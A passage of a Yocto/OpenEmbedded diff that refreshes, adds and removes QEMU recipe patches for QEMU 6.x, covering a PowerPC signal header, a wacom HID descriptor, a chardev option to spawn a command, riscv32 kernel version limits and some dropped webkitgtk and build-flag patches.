+@@ -1 +1,32 @@
+-#include "../ppc/host-signal.h"
++/*
++ * host-signal.h: signal info dependent on the host architecture
++ *
++ * Copyright (c) 2003-2005 Fabrice Bellard
++ * Copyright (c) 2021 Linaro Limited
++ *
++ * This work is licensed under the terms of the GNU LGPL, version 2.1 or later.
++ * See the COPYING file in the top-level directory.
++ */
++
++#ifndef PPC_HOST_SIGNAL_H
++#define PPC_HOST_SIGNAL_H
++
++#include <asm/ptrace.h>
++
++static inline uintptr_t host_signal_pc(ucontext_t *uc)
++{
++ return uc->uc_mcontext.gp_regs[PT_NIP];
++}
++
++static inline void host_signal_set_pc(ucontext_t *uc, uintptr_t pc)
++{
++ uc->uc_mcontext.gp_regs[PT_NIP] = pc;
++}
++
++static inline bool host_signal_write(siginfo_t *info, ucontext_t *uc)
++{
++ return uc->uc_mcontext.gp_regs[PT_TRAP] != 0x400
++ && (uc->uc_mcontext.gp_regs[PT_DSISR] & 0x02000000);
++}
++
++#endif
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
index 9478102ae5..2f2d19f536 100644
--- a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
+++ b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
@@ -1,4 +1,4 @@
-From 4655dc18074e0be9d239f51dac32b61435da8549 Mon Sep 17 00:00:00 2001
+From 883feb43129dc39b491e492c7ccfe89aefe53c44 Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Thu, 27 Nov 2014 14:04:29 +0000
Subject: [PATCH] qemu: Add missing wacom HID descriptor
@@ -14,15 +14,17 @@ Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Upstream-Status: Submitted
2014/11/27
+[update patch context]
+Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
---
hw/usb/dev-wacom.c | 94 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 93 insertions(+), 1 deletion(-)
-diff --git a/hw/usb/dev-wacom.c b/hw/usb/dev-wacom.c
-index 8c43db93..3ff8ca28 100644
---- a/hw/usb/dev-wacom.c
-+++ b/hw/usb/dev-wacom.c
-@@ -74,6 +74,89 @@ static const USBDescStrings desc_strings = {
+Index: qemu-6.0.0/hw/usb/dev-wacom.c
+===================================================================
+--- qemu-6.0.0.orig/hw/usb/dev-wacom.c
++++ qemu-6.0.0/hw/usb/dev-wacom.c
+@@ -69,6 +69,89 @@ static const USBDescStrings desc_strings
[STR_SERIALNUMBER] = "1",
};
@@ -112,16 +114,16 @@ index 8c43db93..3ff8ca28 100644
static const USBDescIface desc_iface_wacom = {
.bInterfaceNumber = 0,
.bNumEndpoints = 1,
-@@ -91,7 +174,7 @@ static const USBDescIface desc_iface_wacom = {
+@@ -86,7 +169,7 @@ static const USBDescIface desc_iface_wac
0x00, /* u8 country_code */
0x01, /* u8 num_descriptors */
- 0x22, /* u8 type: Report */
+ USB_DT_REPORT, /* u8 type: Report */
- 0x6e, 0, /* u16 len */
-+ sizeof(qemu_tablet_hid_report_descriptor), 0, /* u16 len */
++ sizeof(qemu_tablet_hid_report_descriptor), 0, /* u16 len */
},
},
},
-@@ -271,6 +354,15 @@ static void usb_wacom_handle_control(USBDevice *dev, USBPacket *p,
+@@ -266,6 +349,15 @@ static void usb_wacom_handle_control(USB
}
switch (request) {
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
new file mode 100644
index 0000000000..b8d288d3a2
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch
@@ -0,0 +1,31 @@
+From 34247f83095f8cdcdc1f9d7f0c6ffbd46b25d979 Mon Sep 17 00:00:00 2001
+From: Oleksiy Obitotskyy <oobitots@cisco.com>
+Date: Wed, 25 Mar 2020 21:21:35 +0200
+Subject: [PATCH] qemu: Do not include file if not exists
+
+Script configure checks for if_alg.h and check failed but
+if_alg.h still included.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2020-03/msg07188.html]
+Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
+
+[update patch context]
+Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
+---
+ linux-user/syscall.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+Index: qemu-6.0.0/linux-user/syscall.c
+===================================================================
+--- qemu-6.0.0.orig/linux-user/syscall.c
++++ qemu-6.0.0/linux-user/syscall.c
+@@ -113,7 +113,9 @@
+ #include <linux/blkpg.h>
+ #include <netpacket/packet.h>
+ #include <linux/netlink.h>
++#if defined(CONFIG_AF_ALG)
+ #include <linux/if_alg.h>
++#endif
+ #include <linux/rtc.h>
+ #include <sound/asound.h>
+ #ifdef HAVE_BTRFS_H
diff --git a/meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch b/meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch
new file mode 100644
index 0000000000..ac4b6dcc44
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch
@@ -0,0 +1,40 @@
+From 359dc12eb32b2395cf10796157002024e6a58054 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 15 Dec 2021 23:31:11 -0800
+Subject: [PATCH] riscv: Set 5.4 as minimum kernel version for riscv32
+
+5.4 is first stable API as far as rv32 is concerned see [1]
+
+[1] https://sourceware.org/git/?p=glibc.git;a=commit;h=7a55dd3fb6d2c307a002a16776be84310b9c8989
+
+Upstream-Status: Submitted [https://lists.nongnu.org/archive/html/qemu-devel/2021-12/msg02495.html]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Palmer Dabbelt <palmer@dabbelt.com>
+Cc: Alistair Francis <alistair.francis@wdc.com>
+Cc: Bin Meng <bin.meng@windriver.com>
+Signed-off-by: Matt Madison <matt@madison.systems>
+---
+ linux-user/riscv/target_syscall.h | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/linux-user/riscv/target_syscall.h b/linux-user/riscv/target_syscall.h
+index dc597c897..9b1316132 100644
+--- a/linux-user/riscv/target_syscall.h
++++ b/linux-user/riscv/target_syscall.h
+@@ -45,10 +45,11 @@ struct target_pt_regs {
+
+ #ifdef TARGET_RISCV32
+ #define UNAME_MACHINE "riscv32"
++#define UNAME_MINIMUM_RELEASE "5.4.0"
+ #else
+ #define UNAME_MACHINE "riscv64"
+-#endif
+ #define UNAME_MINIMUM_RELEASE "4.15.0"
++#endif
+
+ #define TARGET_MINSIGSTKSZ 2048
+ #define TARGET_MCL_CURRENT 1
+--
+2.32.0
+
diff --git a/meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch b/meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch
new file mode 100644
index 0000000000..fcef129181
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch
@@ -0,0 +1,34 @@
+From a4bdc0416134477e4eae386db04b1de7491163bb Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 14 Jan 2021 06:33:04 +0000
+Subject: [PATCH] tests/meson.build: use relative path to refer to files
+
+Fix error like:
+Fatal error: can't create tests/ptimer-test.p/..._qemu-5.2.0_hw_core_ptimer.c.o: File name too long
+
+when build path is too long, use meson.source_root() will make this
+filename too long. Fixed by using relative path to refer to files
+
+Upstream-Status: Submitted [send to qemu-devel]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ tests/meson.build | 2 +-
+ 1 files changed, 1 insertions(+), 1 deletion(-)
+
+Index: qemu-6.2.0/tests/unit/meson.build
+===================================================================
+--- qemu-6.2.0.orig/tests/unit/meson.build
++++ qemu-6.2.0/tests/unit/meson.build
+@@ -44,9 +44,9 @@ tests = {
+ 'test-keyval': [testqapi],
+ 'test-logging': [],
+ 'test-uuid': [],
+- 'ptimer-test': ['ptimer-test-stubs.c', meson.project_source_root() / 'hw/core/ptimer.c'],
++ 'ptimer-test': ['ptimer-test-stubs.c', '../../hw/core/ptimer.c'],
+ 'test-qapi-util': [],
+- 'test-smp-parse': [qom, meson.project_source_root() / 'hw/core/machine-smp.c'],
++ 'test-smp-parse': [qom, '../../hw/core/machine-smp.c'],
+ }
+
+ if have_system or have_tools
diff --git a/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch b/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch
deleted file mode 100644
index 2ccddd53cf..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 67751f3a23e3db3012f391b3b3b73a4484488ce9 Mon Sep 17 00:00:00 2001
-From: Juro Bystricky <juro.bystricky@intel.com>
-Date: Thu, 31 Aug 2017 11:06:56 -0700
-Subject: [PATCH] Add subpackage -ptest which runs all unit test cases for
- qemu.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-
----
- tests/Makefile.include | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/tests/Makefile.include b/tests/Makefile.include
-index fd7fdb86..83b7f409 100644
---- a/tests/Makefile.include
-+++ b/tests/Makefile.include
-@@ -1183,4 +1183,12 @@ all: $(QEMU_IOTESTS_HELPERS-y)
- -include $(wildcard tests/*.d)
- -include $(wildcard tests/libqos/*.d)
-
-+buildtest-TESTS: $(check-unit-y)
-+
-+runtest-TESTS:
-+ for f in $(check-unit-y); do \
-+ nf=$$(echo $$f | sed 's/tests\//\.\//g'); \
-+ $$nf; \
-+ done
-+
- endif
diff --git a/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch b/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
index 5c42d68030..733789be29 100644
--- a/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
+++ b/meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch
@@ -1,4 +1,4 @@
-From 235b94f1188597873c8776b019fed49947983392 Mon Sep 17 00:00:00 2001
+From ce1eceab2350d27960ec254650717085f6a11c9a Mon Sep 17 00:00:00 2001
From: Jason Wessel <jason.wessel@windriver.com>
Date: Fri, 28 Mar 2014 17:42:43 +0800
Subject: [PATCH] qemu: Add addition environment space to boot loader
@@ -15,19 +15,19 @@ Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
Signed-off-by: Roy Li <rongqing.li@windriver.com>
---
- hw/mips/mips_malta.c | 2 +-
+ hw/mips/malta.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/hw/mips/mips_malta.c b/hw/mips/mips_malta.c
-index 20e019bf..d150b01c 100644
---- a/hw/mips/mips_malta.c
-+++ b/hw/mips/mips_malta.c
-@@ -60,7 +60,7 @@
-
- #define ENVP_ADDR 0x80002000l
- #define ENVP_NB_ENTRIES 16
--#define ENVP_ENTRY_SIZE 256
-+#define ENVP_ENTRY_SIZE 1024
+Index: qemu-6.0.0/hw/mips/malta.c
+===================================================================
+--- qemu-6.0.0.orig/hw/mips/malta.c
++++ qemu-6.0.0/hw/mips/malta.c
+@@ -65,7 +65,7 @@
+ #define ENVP_PADDR 0x2000
+ #define ENVP_VADDR cpu_mips_phys_to_kseg0(NULL, ENVP_PADDR)
+ #define ENVP_NB_ENTRIES 16
+-#define ENVP_ENTRY_SIZE 256
++#define ENVP_ENTRY_SIZE 1024
/* Hardware addresses */
- #define FLASH_ADDRESS 0x1e000000ULL
+ #define FLASH_ADDRESS 0x1e000000ULL
diff --git a/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch b/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch
deleted file mode 100644
index 0ac4ab40b1..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 3ad7a375015d47fdf5016e03e11fa93440d6d8bd Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 20 Oct 2015 22:19:08 +0100
-Subject: [PATCH] qemu: disable Valgrind
-
-There isn't an option to enable or disable valgrind support, so disable it to avoid non-deterministic builds.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
----
- configure | 9 ---------
- 1 file changed, 9 deletions(-)
-
-diff --git a/configure b/configure
-index 714e7fb6..dad4fc59 100755
---- a/configure
-+++ b/configure
-@@ -5335,15 +5335,6 @@ fi
- # check if we have valgrind/valgrind.h
-
- valgrind_h=no
--cat > $TMPC << EOF
--#include <valgrind/valgrind.h>
--int main(void) {
-- return 0;
--}
--EOF
--if compile_prog "" "" ; then
-- valgrind_h=yes
--fi
-
- ########################################
- # check if environ is declared
diff --git a/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch b/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch
deleted file mode 100644
index a73681510e..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 80e6070bcdfe636b103a13598e6c38ad0d0e7624 Mon Sep 17 00:00:00 2001
-From: Stephen Arnold <sarnold@vctlabs.com>
-Date: Sun, 12 Jun 2016 18:09:56 -0700
-Subject: [PATCH] qemu-native: set ld.bfd, fix cflags, and set some environment
-
-Upstream-Status: Pending
-
----
- configure | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/configure b/configure
-index dad4fc59..685bbe5e 100755
---- a/configure
-+++ b/configure
-@@ -5971,10 +5971,6 @@ write_c_skeleton
- if test "$gcov" = "yes" ; then
- CFLAGS="-fprofile-arcs -ftest-coverage -g $CFLAGS"
- LDFLAGS="-fprofile-arcs -ftest-coverage $LDFLAGS"
--elif test "$fortify_source" = "yes" ; then
-- CFLAGS="-O2 -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2 $CFLAGS"
--elif test "$debug" = "no"; then
-- CFLAGS="-O2 $CFLAGS"
- fi
-
- if test "$have_asan" = "yes"; then
diff --git a/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch b/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
index a42385530f..cf8b0e7a45 100644
--- a/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
+++ b/meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch
@@ -1,4 +1,4 @@
-From ad853601e75f6d0dd09672bcca05fbe4fac766a4 Mon Sep 17 00:00:00 2001
+From bcc63f775e265df69963a4ad7805b8678ace68f0 Mon Sep 17 00:00:00 2001
From: Alistair Francis <alistair.francis@xilinx.com>
Date: Thu, 21 Dec 2017 11:35:16 -0800
Subject: [PATCH] chardev: connect socket to a spawned command
@@ -51,11 +51,11 @@ Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
qapi/char.json | 5 +++
3 files changed, 109 insertions(+)
-diff --git a/chardev/char-socket.c b/chardev/char-socket.c
-index 7ca5d97a..207fae4a 100644
---- a/chardev/char-socket.c
-+++ b/chardev/char-socket.c
-@@ -1278,6 +1278,67 @@ static bool qmp_chardev_validate_socket(ChardevSocket *sock,
+Index: qemu-6.2.0/chardev/char-socket.c
+===================================================================
+--- qemu-6.2.0.orig/chardev/char-socket.c
++++ qemu-6.2.0/chardev/char-socket.c
+@@ -1362,6 +1362,67 @@ static bool qmp_chardev_validate_socket(
return true;
}
@@ -123,7 +123,7 @@ index 7ca5d97a..207fae4a 100644
static void qmp_chardev_open_socket(Chardev *chr,
ChardevBackend *backend,
-@@ -1286,6 +1347,9 @@ static void qmp_chardev_open_socket(Chardev *chr,
+@@ -1370,6 +1431,9 @@ static void qmp_chardev_open_socket(Char
{
SocketChardev *s = SOCKET_CHARDEV(chr);
ChardevSocket *sock = backend->u.socket.data;
@@ -133,7 +133,7 @@ index 7ca5d97a..207fae4a 100644
bool do_nodelay = sock->has_nodelay ? sock->nodelay : false;
bool is_listen = sock->has_server ? sock->server : true;
bool is_telnet = sock->has_telnet ? sock->telnet : false;
-@@ -1351,6 +1415,14 @@ static void qmp_chardev_open_socket(Chardev *chr,
+@@ -1440,6 +1504,14 @@ static void qmp_chardev_open_socket(Char
update_disconnected_filename(s);
@@ -148,13 +148,17 @@ index 7ca5d97a..207fae4a 100644
if (s->is_listen) {
if (qmp_chardev_open_socket_server(chr, is_telnet || is_tn3270,
is_waitconnect, errp) < 0) {
-@@ -1370,9 +1442,26 @@ static void qemu_chr_parse_socket(QemuOpts *opts, ChardevBackend *backend,
+@@ -1459,6 +1531,9 @@ static void qemu_chr_parse_socket(QemuOp
const char *host = qemu_opt_get(opts, "host");
const char *port = qemu_opt_get(opts, "port");
const char *fd = qemu_opt_get(opts, "fd");
+#ifndef _WIN32
+ const char *cmd = qemu_opt_get(opts, "cmd");
+#endif
+ #ifdef CONFIG_LINUX
+ bool tight = qemu_opt_get_bool(opts, "tight", true);
+ bool abstract = qemu_opt_get_bool(opts, "abstract", false);
+@@ -1466,6 +1541,20 @@ static void qemu_chr_parse_socket(QemuOp
SocketAddressLegacy *addr;
ChardevSocket *sock;
@@ -175,14 +179,14 @@ index 7ca5d97a..207fae4a 100644
if ((!!path + !!fd + !!host) != 1) {
error_setg(errp,
"Exactly one of 'path', 'fd' or 'host' required");
-@@ -1415,12 +1504,24 @@ static void qemu_chr_parse_socket(QemuOpts *opts, ChardevBackend *backend,
+@@ -1516,13 +1605,24 @@ static void qemu_chr_parse_socket(QemuOp
+ sock->tls_creds = g_strdup(qemu_opt_get(opts, "tls-creds"));
sock->has_tls_authz = qemu_opt_get(opts, "tls-authz");
sock->tls_authz = g_strdup(qemu_opt_get(opts, "tls-authz"));
-
+#ifndef _WIN32
+ sock->cmd = g_strdup(cmd);
+#endif
-+
+
addr = g_new0(SocketAddressLegacy, 1);
+#ifndef _WIN32
+ if (path || cmd) {
@@ -190,35 +194,35 @@ index 7ca5d97a..207fae4a 100644
if (path) {
+#endif
UnixSocketAddress *q_unix;
- addr->type = SOCKET_ADDRESS_LEGACY_KIND_UNIX;
+ addr->type = SOCKET_ADDRESS_TYPE_UNIX;
q_unix = addr->u.q_unix.data = g_new0(UnixSocketAddress, 1);
+#ifndef _WIN32
+ q_unix->path = cmd ? g_strdup_printf("cmd:%s", cmd) : g_strdup(path);
+#else
q_unix->path = g_strdup(path);
+#endif
- } else if (host) {
- addr->type = SOCKET_ADDRESS_LEGACY_KIND_INET;
- addr->u.inet.data = g_new(InetSocketAddress, 1);
-diff --git a/chardev/char.c b/chardev/char.c
-index 7b6b2cb1..0c2ca64b 100644
---- a/chardev/char.c
-+++ b/chardev/char.c
-@@ -837,6 +837,9 @@ QemuOptsList qemu_chardev_opts = {
- },{
+ #ifdef CONFIG_LINUX
+ q_unix->has_tight = true;
+ q_unix->tight = tight;
+Index: qemu-6.2.0/chardev/char.c
+===================================================================
+--- qemu-6.2.0.orig/chardev/char.c
++++ qemu-6.2.0/chardev/char.c
+@@ -836,6 +836,9 @@ QemuOptsList qemu_chardev_opts = {
.name = "path",
.type = QEMU_OPT_STRING,
-+ },{
+ },{
+ .name = "cmd",
+ .type = QEMU_OPT_STRING,
- },{
++ },{
.name = "host",
.type = QEMU_OPT_STRING,
-diff --git a/qapi/char.json b/qapi/char.json
-index a6e81ac7..517962c6 100644
---- a/qapi/char.json
-+++ b/qapi/char.json
-@@ -247,6 +247,10 @@
+ },{
+Index: qemu-6.2.0/qapi/char.json
+===================================================================
+--- qemu-6.2.0.orig/qapi/char.json
++++ qemu-6.2.0/qapi/char.json
+@@ -250,6 +250,10 @@
#
# @addr: socket address to listen on (server=true)
# or connect to (server=false)
@@ -229,7 +233,7 @@ index a6e81ac7..517962c6 100644
# @tls-creds: the ID of the TLS credentials object (since 2.6)
# @tls-authz: the ID of the QAuthZ authorization object against which
# the client's x509 distinguished name will be validated. This
-@@ -272,6 +276,7 @@
+@@ -276,6 +280,7 @@
##
{ 'struct': 'ChardevSocket',
'data': { 'addr': 'SocketAddressLegacy',
diff --git a/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch b/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
index b50e8c2545..3491fa8a53 100644
--- a/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
+++ b/meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch
@@ -1,4 +1,4 @@
-From f51e49e7d7d87b7254242b7360f99c2df94a5a2d Mon Sep 17 00:00:00 2001
+From a59a98d100123030a4145e7efe3b8a001920a9f1 Mon Sep 17 00:00:00 2001
From: Mark Asselstine <mark.asselstine@windriver.com>
Date: Tue, 26 Feb 2013 11:43:28 -0500
Subject: [PATCH] apic: fixup fallthrough to PIC
@@ -29,11 +29,11 @@ Signed-off-by: He Zhe <zhe.he@windriver.com>
hw/intc/apic.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/hw/intc/apic.c b/hw/intc/apic.c
-index bce89911..df4b582e 100644
---- a/hw/intc/apic.c
-+++ b/hw/intc/apic.c
-@@ -603,7 +603,7 @@ int apic_accept_pic_intr(DeviceState *dev)
+Index: qemu-6.0.0/hw/intc/apic.c
+===================================================================
+--- qemu-6.0.0.orig/hw/intc/apic.c
++++ qemu-6.0.0/hw/intc/apic.c
+@@ -606,7 +606,7 @@ int apic_accept_pic_intr(DeviceState *de
APICCommonState *s = APIC(dev);
uint32_t lvt0;
diff --git a/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch b/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch
deleted file mode 100644
index e562f25bec..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 25a064f91f73630e5dff2a6aeb23d953c469cea6 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair.francis@xilinx.com>
-Date: Wed, 17 Jan 2018 10:51:49 -0800
-Subject: [PATCH] linux-user: Fix webkitgtk hangs on 32-bit x86 target
-
-Since commit "linux-user: Tidy and enforce reserved_va initialization"
-(18e80c55bb6ec17c05ec0ba717ec83933c2bfc07) the Yocto webkitgtk build
-hangs when cross compiling for 32-bit x86 on a 64-bit x86 machine using
-musl.
-
-To fix the issue reduce the MAX_RESERVED_VA macro to be a closer match
-to what it was before the problematic commit.
-
-Upstream-Status: Submitted http://lists.gnu.org/archive/html/qemu-devel/2018-01/msg04185.html
-Signed-off-by: Alistair Francis <alistair.francis@xilinx.com>
-
----
- linux-user/main.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/linux-user/main.c b/linux-user/main.c
-index 8ffc5251..4067e739 100644
---- a/linux-user/main.c
-+++ b/linux-user/main.c
-@@ -77,7 +77,7 @@ int have_guest_base;
- (TARGET_LONG_BITS == 32 || defined(TARGET_ABI32))
- /* There are a number of places where we assign reserved_va to a variable
- of type abi_ulong and expect it to fit. Avoid the last page. */
--# define MAX_RESERVED_VA (0xfffffffful & TARGET_PAGE_MASK)
-+# define MAX_RESERVED_VA (0x7ffffffful & TARGET_PAGE_MASK)
- # else
- # define MAX_RESERVED_VA (1ul << TARGET_VIRT_ADDR_SPACE_BITS)
- # endif
diff --git a/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch b/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch
deleted file mode 100644
index 4072d9455f..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch
+++ /dev/null
@@ -1,137 +0,0 @@
-From b633b9a1813fcd715dce44659a89293f1c64ae8c Mon Sep 17 00:00:00 2001
-From: Martin Jansa <martin.jansa@lge.com>
-Date: Fri, 1 Jun 2018 08:41:07 +0000
-Subject: [PATCH] Fix webkitgtk builds
-
-This is a partial revert of "linux-user: fix mmap/munmap/mprotect/mremap/shmat".
-
-This patch fixes qemu-i386 hangs during gobject-introspection in webkitgtk build
-when musl is used on qemux86. This is the same issue that
-0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch was
-fixing in the 2.11 release.
-
-This patch also fixes a build failure when building webkitgtk for
-qemumips. A QEMU assert is seen while building webkitgtk:
-page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed.
-
-This reverts commit ebf9a3630c911d0cfc9c20f7cafe9ba4f88cf583.
-
-Upstream-Status: Pending
-Signed-off-by: Alistair Francis <alistair.francis@wdc.com>
----
- include/exec/cpu-all.h | 6 +-----
- include/exec/cpu_ldst.h | 5 ++++-
- linux-user/mmap.c | 17 ++++-------------
- linux-user/syscall.c | 5 +----
- 4 files changed, 10 insertions(+), 23 deletions(-)
-
-diff --git a/include/exec/cpu-all.h b/include/exec/cpu-all.h
-index 536ea58f81..4c63a6a2e4 100644
---- a/include/exec/cpu-all.h
-+++ b/include/exec/cpu-all.h
-@@ -162,12 +162,8 @@ extern unsigned long guest_base;
- extern int have_guest_base;
- extern unsigned long reserved_va;
-
--#if HOST_LONG_BITS <= TARGET_VIRT_ADDR_SPACE_BITS
--#define GUEST_ADDR_MAX (~0ul)
--#else
--#define GUEST_ADDR_MAX (reserved_va ? reserved_va - 1 : \
-+#define GUEST_ADDR_MAX (reserved_va ? reserved_va : \
- (1ul << TARGET_VIRT_ADDR_SPACE_BITS) - 1)
--#endif
- #else
-
- #include "exec/hwaddr.h"
-diff --git a/include/exec/cpu_ldst.h b/include/exec/cpu_ldst.h
-index 9151fdb042..cb2b8f329f 100644
---- a/include/exec/cpu_ldst.h
-+++ b/include/exec/cpu_ldst.h
-@@ -65,7 +65,10 @@ typedef uint64_t abi_ptr;
- #if HOST_LONG_BITS <= TARGET_VIRT_ADDR_SPACE_BITS
- #define guest_addr_valid(x) (1)
- #else
--#define guest_addr_valid(x) ((x) <= GUEST_ADDR_MAX)
-+#define guest_addr_valid(x) ({ \
-+ ((x) < (1ul << TARGET_VIRT_ADDR_SPACE_BITS)) && \
-+ (!reserved_va || ((x) < reserved_va)); \
-+})
- #endif
- #define h2g_valid(x) guest_addr_valid((unsigned long)(x) - guest_base)
-
-diff --git a/linux-user/mmap.c b/linux-user/mmap.c
-index 46a6e3a761..7735465462 100644
---- a/linux-user/mmap.c
-+++ b/linux-user/mmap.c
-@@ -78,7 +78,7 @@ int target_mprotect(abi_ulong start, abi_ulong len, int prot)
- return -TARGET_EINVAL;
- len = TARGET_PAGE_ALIGN(len);
- end = start + len;
-- if (!guest_range_valid(start, len)) {
-+ if (end < start) {
- return -TARGET_ENOMEM;
- }
- prot &= PROT_READ | PROT_WRITE | PROT_EXEC;
-@@ -495,8 +495,8 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot,
- * It can fail only on 64-bit host with 32-bit target.
- * On any other target/host host mmap() handles this error correctly.
- */
-- if (!guest_range_valid(start, len)) {
-- errno = ENOMEM;
-+ if ((unsigned long)start + len - 1 > (abi_ulong) -1) {
-+ errno = EINVAL;
- goto fail;
- }
-
-@@ -636,10 +636,8 @@ int target_munmap(abi_ulong start, abi_ulong len)
- if (start & ~TARGET_PAGE_MASK)
- return -TARGET_EINVAL;
- len = TARGET_PAGE_ALIGN(len);
-- if (len == 0 || !guest_range_valid(start, len)) {
-+ if (len == 0)
- return -TARGET_EINVAL;
-- }
--
- mmap_lock();
- end = start + len;
- real_start = start & qemu_host_page_mask;
-@@ -694,13 +692,6 @@ abi_long target_mremap(abi_ulong old_addr, abi_ulong old_size,
- int prot;
- void *host_addr;
-
-- if (!guest_range_valid(old_addr, old_size) ||
-- ((flags & MREMAP_FIXED) &&
-- !guest_range_valid(new_addr, new_size))) {
-- errno = ENOMEM;
-- return -1;
-- }
--
- mmap_lock();
-
- if (flags & MREMAP_FIXED) {
-diff --git a/linux-user/syscall.c b/linux-user/syscall.c
-index 8b41a03901..bc5d85de02 100644
---- a/linux-user/syscall.c
-+++ b/linux-user/syscall.c
-@@ -4031,9 +4031,6 @@ static inline abi_ulong do_shmat(CPUArchState *cpu_env,
- return -TARGET_EINVAL;
- }
- }
-- if (!guest_range_valid(shmaddr, shm_info.shm_segsz)) {
-- return -TARGET_EINVAL;
-- }
-
- mmap_lock();
-
-@@ -6881,7 +6878,7 @@ static int open_self_maps(void *cpu_env, int fd)
- }
- if (h2g_valid(min)) {
- int flags = page_get_flags(h2g(min));
